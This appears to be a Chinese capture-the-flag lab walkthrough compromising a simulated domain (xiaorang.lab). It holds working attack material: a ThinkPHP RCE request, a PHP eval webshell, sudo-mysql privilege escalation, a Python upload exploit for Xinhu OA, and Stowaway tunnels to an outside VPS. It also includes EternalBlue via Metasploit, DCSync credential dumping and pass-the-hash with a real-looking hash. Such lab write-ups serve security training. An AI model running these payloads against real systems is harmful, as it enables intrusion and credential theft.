靶场介绍
flag-1 : 外网打点 先用fscan扫一下端口和漏洞
扫出来一个80端口开放的网站,同时扫出一个ThinkPHP5 5.0.23 远程代码执行漏洞
1 ThinkPHP是国内使用极为广泛的PHP开发框架,在5.0版本(<5.0.24)中,框架在获取请求方法时存在错误处理,导致攻击者可以调用Request类的任意方法,通过特定的利用链造成RCE漏洞。
访问是一个登录页面
thinkphp getshell方法 方法一:thinkphp一把梭
直接连马就行
方法二:手动注入
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /index.php?s=captcha HTTP/1.1 Host: 39.99.137.168 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 76 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
whoami有回显,用file_put_contents函数写一句话木马
然后用system执行ls看一下有没有写进去
哈哈哈哈哈和群友一起打的,他们传了好多木马
直接连马
寻找flag+提权
在根目录看到root,但是root文件没权限访问
用蚁剑的插件去提权
输入sudo -l
回显
这段命令输出是在 Linux 系统上使用 sudo -l
查看用户 www-data
在当前主机上可以通过 sudo
命令以特权用户身份运行的命令。
这里可以看出来www-data
用户可以直接以 root 权限执行 MySQL 命令。
然后我们通过 MySQL 执行系统命令
1 2 3 4 5 6 (www-data:/var/www/html) $ sudo mysql -e '\! /bin/sh' (www-data:/var/www/html) $ sudo mysql -e '\! ls /root' flag (www-data:/var/www/html) $ sudo mysql -e '\! ls /root/flag' flag01.txt (www-data:/var/www/html) $ sudo mysql -e '\! cat /root/flag/flag01.txt'
\!
是 MySQL 命令行中的一个特殊命令,用于执行系统命令。在这种情况下,它启动了一个新的 shell(/bin/sh
)。
flag01: flag{60b53231-
flag-2,3:内网渗透 内网ip探测 先ifconfig看看当前的网卡信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 (www-data:/var/www/html) $ ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.22.1.15 netmask 255.255.0.0 broadcast 172.22.255.255 inet6 fe80::216:3eff:fe24:b95c prefixlen 64 scopeid 0x20<link> ether 00:16:3e:24:b9:5c txqueuelen 1000 (Ethernet) RX packets 149986 bytes 171053739 (171.0 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 51769 bytes 7552639 (7.5 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 1152 bytes 99609 (99.6 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 1152 bytes 99609 (99.6 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
上传一个fscan在tmp目录下(群友已经传了,直接用了)
给777权限然后扫内网ip
1 (www-data:/var/www/html/tmp) $ ./fscan -h 172.22.1.0/24
结果在当前目录下的result.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 172.22.1.18:3306 open 172.22.1.21:445 open 172.22.1.18:445 open 172.22.1.2:445 open 172.22.1.21:139 open 172.22.1.18:139 open 172.22.1.2:139 open 172.22.1.21:135 open 172.22.1.18:80 open 172.22.1.15:80 open 172.22.1.15:22 open 172.22.1.18:135 open 172.22.1.2:135 open 172.22.1.2:88 open [*] NetInfo [*]172.22.1.2 [->]DC01 [->]172.22.1.2 [*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin [*] NetInfo [*]172.22.1.18 [->]XIAORANG-OA01 [->]172.22.1.18 [*] NetInfo [*]172.22.1.21 [->]XIAORANG-WIN7 [->]172.22.1.21 [*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393) [+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1) [*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1 [*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600 [*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login [*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统 [+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
172.22.1.21:对应的主机名为 XIAORANG-OA01
,存在MS17-010 漏洞
172.22.1.2:DC域控
172.22.1.18:信呼OA办公系统
内网穿透 使用Stowaway搭建隧道
先上传一个linux_x64_agent到靶机然后777给权限
然后上传linux_x64_admin到自己的云服务器并给权限
1 ./linux_x64_admin -l 12345 -s 654321
设置参数,设置监听端口为12345
然后靶机执行
1 ./linux_x64_agent -c 123.56.166.154:12345 -s 654321 --reconnect 8
成功搭建隧道
1 2 use 0 socks 5555 //端口自定义
proxy插件配置代理ip为vps的ip然后端口为5555后访问
信呼协同办公系统v2.2.8文件上传漏洞 发现代理配置一直不是很稳定,直接看的师傅的wp去做了
弱口令admin/admin123登录
文件上传漏洞,直接exp一把梭
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import osimport requestssession = requests.session() proxy = { "http" : "socks5://47.109.176.117:5555" , } url_pre = 'http://172.22.1.18/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' data1 = { 'rempass' : '0' , 'jmpass' : 'false' , 'device' : '1625884034525' , 'ltype' : '0' , 'adminuser' : 'YWRtaW4=' , 'adminpass' : 'YWRtaW4xMjM=' , 'yanzm' : '' } with open ("1.php" ,"w" ) as f: f.write("<?php eval($_POST['Infernity']);" ) f.close() session.post(url1, data=data1, proxies=proxy) res = session.post(url2, files={'file' : open ('1.php' , 'r+' )}, proxies=proxy) os.remove('1.php' ) filepath = str (res.json()['filepath' ]) filepath = "/" + filepath.split('.uptemp' )[0 ] + '.php' id = res.json()['id' ]print (filepath)url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id } ' session.get(url3, proxies=proxy) res = session.post(url_pre + filepath,data={"Infernity" :"system('whoami');" }, proxies=proxy) print (res.text)
得到上传木马的路径后访问文件然后用蚁剑连接
是Windows的服务器,直接终端找flag
1 C:/Users/Administrator/flag/flag02.txt
查看看到flag02的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 ___ ___ ___ ________ ________ ________ ________ ________ ________ |\ \ / /|\ \|\ __ \|\ __ \|\ __ \|\ __ \|\ ___ \|\ ____\ \ \ \/ / | \ \ \ \|\ \ \ \|\ \ \ \|\ \ \ \|\ \ \ \\ \ \ \ \___| \ \ / / \ \ \ \ __ \ \ \\\ \ \ _ _\ \ __ \ \ \\ \ \ \ \ ___ / \/ \ \ \ \ \ \ \ \ \\\ \ \ \\ \\ \ \ \ \ \ \\ \ \ \ \|\ \ / /\ \ \ \__\ \__\ \__\ \_______\ \__\\ _\\ \__\ \__\ \__\\ \__\ \_______\ /__/ /\ __\ \|__|\|__|\|__|\|_______|\|__|\|__|\|__|\|__|\|__| \|__|\|_______| |__|/ \|__| flag02: 2ce3-4813-87d4- Awesome! ! ! You found the second flag, now you can attack the domain controller.
最后一个ms17-010永恒之蓝的漏洞,估计最后一个flag就在里面了
XIAORANG-OA01的ms17-010漏洞 ms的话就需要在kali里面打了,先在kali里面配置一下代理
1 vim /etc/proxychains4.conf
然后运行msf
1 2 3 4 5 proxychains4 msfconsole use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp_uuid set RHOSTS 172.22.1.21 exploit
1 2 3 4 5 6 7 8 9 10 11 DCSync攻击: DCSync的原理是利用域控制器之间的数据同步复制 DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式 DCSync 攻击前提: 想进行DCSync 攻击,必须获得以下任一用户的权限: Administrators 组内的用户 Domain Admins 组内的用户 Enterprise Admins 组内的用户域控制器的计算机帐户 即:默认情况下域管理员组具有该权限
然后我们
1 2 3 load kiwi kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit exit
用crackmapexec
利用admin的哈希来打
1 2 3 4 5 proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "whoami" proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt" e8f88d0d43d6}